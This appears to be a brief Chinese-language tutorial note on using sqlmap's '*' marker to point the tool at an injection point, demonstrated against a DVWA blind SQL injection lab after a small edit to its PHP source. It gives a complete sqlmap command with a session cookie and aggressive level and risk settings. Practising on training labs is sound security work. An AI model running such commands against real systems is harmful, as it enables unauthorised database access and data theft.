sqlmap自动的寻找注入点,

Sqlmap Tricks for Advanced SQL Injection
https://www.trustwave.com/Resources/SpiderLabs-Blog/Sqlmap-Tricks-for-Advanced-SQL-Injection/
此文介绍的方法太过复杂：
简介/var/www/html/dvwa/vulnerabilities/sqli_blind/source/low.php更改成如下行
 else {                $id = str_replace("-BR", "", $id);
注入方法如下 
 ./sqlmap.py -u 'http://172.19.180.27/dvwa/vulnerabilities/sqli_blind/?id=1*-BR&Submit=Submit#' --cookie='security=low; PHPSESSID=amh7ni5q8215gfj2dkgbt0b1j0'  --level 5 --risk 3  --dbms=MySQL -v 3 -p id
在注入点打上“*”号即可，自动的寻找注入点。